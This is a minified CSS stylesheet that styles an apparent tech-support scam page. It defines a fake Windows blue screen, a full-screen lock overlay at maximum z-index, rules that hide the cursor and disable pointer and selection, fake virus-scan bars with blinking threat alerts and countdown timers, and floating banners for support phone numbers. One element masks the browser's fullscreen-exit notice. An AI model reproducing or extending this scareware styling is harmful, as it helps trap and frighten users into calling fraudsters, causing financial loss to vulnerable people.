:root{font-family:system-ui,Avenir,Helvetica,Arial,sans-serif;line-height:1.5;font-weight:400;color-scheme:light dark;color:#ffffffde;background-color:#242424;font-synthesis:none;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body,html{margin:0;padding:0;width:100%;height:100%;overflow:hidden}#root{width:100%;height:100vh}*{margin:0;padding:0;box-sizing:border-box}body{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;overflow:hidden}.welcome-screen{min-height:100vh;display:flex;align-items:center;justify-content:center;background:#f0f2f5;color:#1c1e21;text-align:center;padding:2rem;font-family:Segoe UI,Helvetica,Arial,sans-serif}.welcome-content{max-width:420px;background:#fff;border-radius:8px;box-shadow:0 2px 4px #0000001a,0 8px 16px #0000001a;padding:2.5rem 2rem 1.5rem;animation:fadeInUp .6s ease-out}.welcome-icon{font-size:4rem;margin-bottom:1rem;animation:none}.welcome-title{font-size:1.7rem;font-weight:700;margin-bottom:.5rem;color:#1877f2;text-shadow:none}.welcome-message{font-size:.95rem;margin-bottom:1.5rem;line-height:1.5;color:#606770}.device-info{background:#fff3cd;color:#856404;border:1px solid #ffc107;border-radius:6px;padding:.75rem 1.2rem;font-size:.9rem;font-weight:600;text-align:center}.permission-info{background:#ffffff1a;padding:1.5rem;border-radius:10px;margin-bottom:2rem;text-align:left}.permission-info h3{margin-bottom:1rem;color:#ffeb3b}.permission-info ol{margin-left:1.5rem;margin-bottom:1rem}.permission-info li{margin-bottom:.5rem}.browser-tips{background:#ffffff0d;padding:1rem;border-radius:8px;margin-top:1.5rem;text-align:left}.browser-tips h4{margin-bottom:.8rem;color:#81c784}.browser-tips ul{margin-left:1.2rem}.browser-tips li{margin-bottom:.4rem;font-size:.9rem}.permission-status{display:flex;align-items:center;justify-content:center;gap:.5rem;padding:1rem;border-radius:8px;margin-bottom:1.5rem;font-weight:600}.permission-status.granted{background:#4caf5033;color:#a5d6a7;border:2px solid rgba(76,175,80,.3)}.permission-status.pending{background:#ffc10733;color:#ffcc02;border:2px solid rgba(255,193,7,.3)}.status-icon{font-size:1.2rem}.button-group{display:flex;flex-direction:column;gap:.75rem;margin-bottom:1rem;width:100%}.permission-button{background:linear-gradient(135deg,#ff9800,#f57c00);color:#fff;border:none;padding:1rem 2rem;border-radius:12px;font-size:1.1rem;font-weight:600;cursor:pointer;transition:all .3s ease;box-shadow:0 4px 15px #ff98004d}.permission-button:hover{transform:translateY(-2px);box-shadow:0 6px 20px #ff980066}.start-button.ready{background:linear-gradient(135deg,#4caf50,#45a049);box-shadow:0 4px 15px #4caf504d}.start-button.authorized{background:#1877f2;color:#fff;border:none;box-shadow:none}.start-button.authorized:hover{background:#166fe5;box-shadow:none}.start-button.unauthorized{background:#e4e6eb;color:#1c1e21;border:none;box-shadow:none}.start-button.unauthorized:hover{background:#d8dadf;box-shadow:none}.start-button.disabled{background:linear-gradient(135deg,#9e9e9e,#757575);cursor:not-allowed;opacity:.6}.start-button.disabled:hover{transform:none;box-shadow:0 4px 15px #9e9e9e4d}.fullscreen-status{margin-top:2rem;padding:1rem;border-radius:8px;background:#ffffff1a}.status-active{color:#81c784;font-weight:600}.status-windowed{color:#ffb74d;font-weight:600}.start-button{background:#e4e6eb;border:none;color:#1c1e21;padding:.85rem 1.5rem;font-size:1.05rem;font-weight:700;border-radius:6px;cursor:pointer;transition:background .2s ease;margin-bottom:0;text-transform:none;letter-spacing:0;width:100%;font-family:Segoe UI,Helvetica,Arial,sans-serif}.start-button:hover{background:#d8dadf;transform:none;box-shadow:none}.start-button:active{transform:scale(.98)}.warning{background:#ffc10733;border:1px solid rgba(255,193,7,.3);padding:1rem;border-radius:10px;font-size:1.1rem;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}.lock-screen{position:fixed!important;top:0!important;left:0!important;width:100vw!important;height:100vh!important;max-width:100vw!important;max-height:100vh!important;background-size:cover!important;background-position:center!important;background-repeat:no-repeat!important;display:flex!important;align-items:center!important;justify-content:center!important;cursor:none!important;user-select:none!important;-webkit-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important;overflow:hidden!important;z-index:2147483647!important}.lock-screen,.lock-screen *,.lock-screen *:hover,.lock-screen *:active,.lock-screen *:focus{cursor:none!important}.locked-cursor,.locked-cursor *,.locked-cursor *:hover,.locked-cursor *:active,.locked-cursor *:focus,.locked-cursor *:before,.locked-cursor *:after{cursor:none!important;pointer-events:none!important;-webkit-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important;user-select:none!important}.locked-cursor{-webkit-touch-callout:none!important;-webkit-user-select:none!important;-khtml-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important;user-select:none!important}.bsod-screen{position:fixed!important;top:0;left:0;width:100vw;height:100vh;background-color:#0078d7;display:flex;flex-direction:row;cursor:none!important;user-select:none!important;-webkit-user-select:none!important;overflow:hidden;z-index:2147483647!important;font-family:Segoe UI,-apple-system,BlinkMacSystemFont,sans-serif;color:#fff}.bsod-left{flex:1;display:flex;flex-direction:column;justify-content:flex-start;padding:3vh 4vw 5vh 8vw;max-width:65vw}.bsod-right{width:30vw;display:flex;align-items:center;justify-content:center}.bsod-emoticon{font-size:8rem;font-weight:200;line-height:1;margin-bottom:3rem}.bsod-title{font-size:1.7rem;font-weight:300;line-height:1.4;margin-bottom:2rem;max-width:600px}.bsod-desc{font-size:.95rem;font-weight:400;line-height:1.7;opacity:.9;margin-bottom:1.2rem;max-width:550px}.bsod-list{list-style:disc;padding-left:1.5rem;margin-bottom:1.5rem;max-width:550px}.bsod-list li{font-size:.95rem;line-height:2;opacity:.9}.bsod-warning{font-size:.85rem;opacity:.75;line-height:1.6;margin-bottom:1rem;max-width:550px}.scan-container{background:#00000040;border:1px solid rgba(255,255,255,.15);border-radius:6px;padding:.8rem 1rem;margin-bottom:.8rem;max-width:550px}.scan-header{display:flex;align-items:center;gap:.5rem;margin-bottom:.5rem}.scan-icon{font-size:1rem}.scan-label{font-size:.85rem;opacity:.9;flex:1}.scan-percent{font-size:.85rem;font-weight:600;font-family:Consolas,Courier New,monospace}.scan-bar-bg{width:100%;height:6px;background:#ffffff26;border-radius:3px;overflow:hidden}.scan-bar-fill{height:100%;background:linear-gradient(90deg,#4fc3f7,#29b6f6);border-radius:3px;transition:width .3s ease;box-shadow:0 0 8px #4fc3f766}.scan-threats{display:flex;align-items:center;gap:.4rem;margin-top:.5rem;animation:fadeInUp .3s ease}.scan-threats-icon{font-size:.85rem}.scan-threats-text{color:#ff8a80;font-size:.85rem;font-weight:600}.scan-threats-critical{color:#ff1744;font-weight:700;animation:panicBlink 1s ease-in-out infinite}.countdown-container{display:flex;align-items:center;gap:.8rem;background:#0003;border:1px solid rgba(255,255,255,.1);border-radius:6px;padding:.6rem 1rem;margin-bottom:1rem;max-width:550px}.countdown-container.countdown-critical{border-color:#ff174480;background:#ff17441a;animation:countdownPulse 1s ease-in-out infinite}.countdown-label{font-size:.9rem;opacity:.9}.countdown-timer{font-size:1.6rem;font-weight:700;font-family:Consolas,Courier New,monospace;letter-spacing:2px;color:#ffcc02}.countdown-critical .countdown-timer{color:#ff1744;animation:panicBlink .8s ease-in-out infinite}@keyframes countdownPulse{0%,to{border-color:#ff17444d;box-shadow:none}50%{border-color:#ff1744b3;box-shadow:0 0 15px #ff174433}}.bsod-qr-phone-row{display:flex;align-items:center;gap:2.5rem;margin-bottom:.3rem}.bsod-qr-block{display:flex;align-items:center;gap:1rem;margin-bottom:0}.bsod-qr-code{flex-shrink:0}.bsod-qr-code svg{border-radius:4px}.bsod-qr-img{width:70px;height:70px;object-fit:contain;border-radius:4px}.bsod-qr-text{display:flex;flex-direction:column;gap:.3rem}.bsod-qr-text p{font-size:.85rem;line-height:1.5;opacity:.85;margin:0}.bsod-phone-wrapper{display:inline-flex;flex-direction:column;align-items:flex-end}.bsod-phone{font-size:1.5rem;font-weight:300;letter-spacing:.05em;margin-bottom:0;line-height:1}.bsod-phone-sub{font-size:1.2rem;opacity:.7;font-weight:400;margin-top:.1rem;margin-bottom:0}.bsod-windows-logo{width:150px;height:150px;opacity:.9}.panic-window{position:absolute;top:58%;left:50%;transform:translate(-50%,-50%);width:520px;background:#1a1a2e;border:2px solid #ff1744;border-radius:8px;box-shadow:0 0 40px #ff174466,0 0 80px #ff174426;z-index:20;font-family:Segoe UI,sans-serif;animation:panicPulse 2s ease-in-out infinite}.panic-header{display:flex;align-items:center;gap:.5rem;background:#2d1b1b;padding:.6rem 1rem;border-bottom:1px solid #ff1744;border-radius:6px 6px 0 0;font-size:.85rem;color:#ff8a80;font-weight:600}.panic-header-icon{font-size:1rem}.panic-header-x{margin-left:auto;color:#ff5252;font-size:.9rem}.panic-body{padding:1.5rem;display:flex;flex-direction:column;gap:.8rem}.panic-alert{color:#ff1744;font-size:1.3rem;font-weight:800;text-align:center;letter-spacing:1px;text-transform:uppercase;animation:panicBlink 1s ease-in-out infinite}.panic-text{color:#e0e0e0;font-size:.9rem;line-height:1.6;text-align:center}.panic-protect{color:#4fc3f7;font-size:1rem;font-weight:600;text-align:center}.panic-ref{background:#ff17441a;border:1px solid rgba(255,23,68,.3);border-radius:6px;padding:.6rem 1rem;text-align:center;color:#bdbdbd;font-size:.85rem}.panic-ref-number{color:#ff8a80;font-weight:700;font-family:Consolas,Courier New,monospace;letter-spacing:1px}.panic-phone{color:#ffcc02;font-size:1.2rem;font-weight:700;text-align:center}@keyframes panicPulse{0%,to{box-shadow:0 0 40px #ff174466,0 0 80px #ff174426}50%{box-shadow:0 0 60px #ff174499,0 0 120px #ff174440}}@keyframes panicBlink{0%,to{opacity:1}50%{opacity:.5}}.bsod-screen *{user-select:none!important;-webkit-user-select:none!important;cursor:none!important}.lock-top-text{position:absolute;top:0;left:0;width:100%;background:#141423f2;padding:.6rem 1.5rem;border-bottom:2px solid #ff1744;color:#fff;z-index:10;font-family:Segoe UI,sans-serif}.top-text-row{display:flex;align-items:center;gap:.6rem;flex-wrap:nowrap}.top-text-icon{font-size:1rem;flex-shrink:0}.top-text-title{color:#ff1744;font-size:.9rem;font-weight:700;letter-spacing:.5px;white-space:nowrap;flex-shrink:0}.top-text-separator{color:#ffffff4d;flex-shrink:0}.top-text-msg{color:#e0e0e0;font-size:.85rem;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.esc-notification-blocker{position:absolute;top:2.2rem;left:50%;transform:translate(-50%);background:#1a1a2e;color:#e0e0e0;padding:.5rem 4rem;border-radius:6px;border:1px solid rgba(255,255,255,.15);font-family:Segoe UI,sans-serif;font-size:.85rem;display:flex;align-items:center;gap:.5rem;z-index:2147483647;white-space:nowrap;box-shadow:0 4px 20px #00000080;width:50rem;justify-content:center}.esc-blocker-icon{font-size:.9rem}.esc-popup-overlay{position:fixed;top:0;left:0;width:100%;height:100%;background:#000000b3;z-index:2147483647;display:flex;align-items:center;justify-content:center}.esc-popup{background:#1a1a2e;border:2px solid #ff1744;border-radius:12px;padding:2.5rem 3.5rem;text-align:center;box-shadow:0 0 40px #ff17444d;animation:fadeInUp .4s ease}.esc-popup-icon{font-size:3rem;margin-bottom:1rem}.esc-popup-text{color:#fff;font-family:Segoe UI,sans-serif;font-size:1.4rem;font-weight:600;margin-bottom:1.2rem;line-height:1.5}.esc-popup-phone{color:#ffcc02;font-family:Segoe UI,sans-serif;font-size:1.8rem;font-weight:700;letter-spacing:1px}.floating-card-left{position:absolute;left:2rem;top:50%;transform:translateY(-50%);background:#323232;padding:1.5rem;border-radius:15px;border:1px solid rgba(255,255,255,.2);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);display:flex;flex-direction:column;align-items:center;gap:.8rem;width:200px;animation:floatUpDown 3s ease-in-out infinite;z-index:10}.floating-card-header{display:flex;align-items:center;gap:.6rem}.floating-card-logo{height:35px;width:auto;object-fit:contain}.floating-card-brand{color:#fff;font-size:1.1rem;font-weight:700}.floating-card-support{color:#4fc3f7;font-size:.95rem;font-weight:600;text-align:center}.floating-card-phone{color:#ffcc02;font-size:1rem;font-weight:700;text-align:center;line-height:1.5}@keyframes floatUpDown{0%,to{transform:translateY(-50%)}50%{transform:translateY(calc(-50% - 20px))}}.floating-card-right{position:absolute;right:2rem;top:50%;transform:translateY(-50%);background:#323232;padding:1.5rem;border-radius:15px;border:1px solid rgba(255,255,255,.2);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);display:flex;flex-direction:column;align-items:center;gap:.8rem;width:200px;animation:floatUpDown 3s ease-in-out infinite;z-index:10}.lock-bottom-banner{position:absolute;bottom:0;left:0;width:100%;display:flex;align-items:center;justify-content:center;gap:1.2rem;background:#323232;padding:.4rem 2rem;border-top:1px solid rgba(255,255,255,.2);z-index:10}.banner-logo{height:30px;width:auto;object-fit:contain}.banner-separator{color:#ffffff4d;font-size:1rem}.banner-title{color:#fff;font-size:1rem;font-weight:700;letter-spacing:.5px}.banner-cta{color:#4fc3f7;font-size:.95rem;font-weight:500}.banner-phone{color:#ffcc02;font-size:1rem;font-weight:700;letter-spacing:.5px}.unlocked{min-height:100vh;display:flex;flex-direction:column;align-items:center;justify-content:center;background:linear-gradient(135deg,#667eea,#764ba2);color:#fff;text-align:center;padding:2rem}.unlocked h1{font-size:3rem;margin-bottom:1rem;text-shadow:2px 2px 4px rgba(0,0,0,.3)}.unlocked p{font-size:1.5rem;margin-bottom:2rem;opacity:.9}.unlocked button{background:#fff3;border:2px solid rgba(255,255,255,.3);color:#fff;padding:1rem 2rem;font-size:1.2rem;border-radius:10px;cursor:pointer;transition:all .3s ease;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}.unlocked button:hover{background:#ffffff4d;border-color:#ffffff80;transform:translateY(-2px);box-shadow:0 5px 15px #0003}@keyframes fadeInUp{0%{opacity:0;transform:translateY(30px)}to{opacity:1;transform:translateY(0)}}@keyframes bounce{0%,20%,50%,80%,to{transform:translateY(0)}40%{transform:translateY(-20px)}60%{transform:translateY(-10px)}}@keyframes pulse{0%{opacity:.8}to{opacity:1}}@keyframes lockShake{0%,to{transform:rotate(0)}25%{transform:rotate(-3deg)}75%{transform:rotate(3deg)}}.lock-screen *{user-select:none!important;-webkit-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important}html.locked-cursor,body.locked-cursor{cursor:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7),none!important;overflow:hidden!important}html.locked-cursor *,body.locked-cursor *{cursor:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7),none!important}.locked-cursor,.locked-cursor *,.locked-cursor *:hover,.locked-cursor *:active,.locked-cursor *:focus,.locked-cursor *:visited{cursor:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7),none!important}.locked-cursor *,.locked-cursor *:hover,.locked-cursor *:active{cursor:none!important}.locked-cursor *:focus{cursor:none!important}
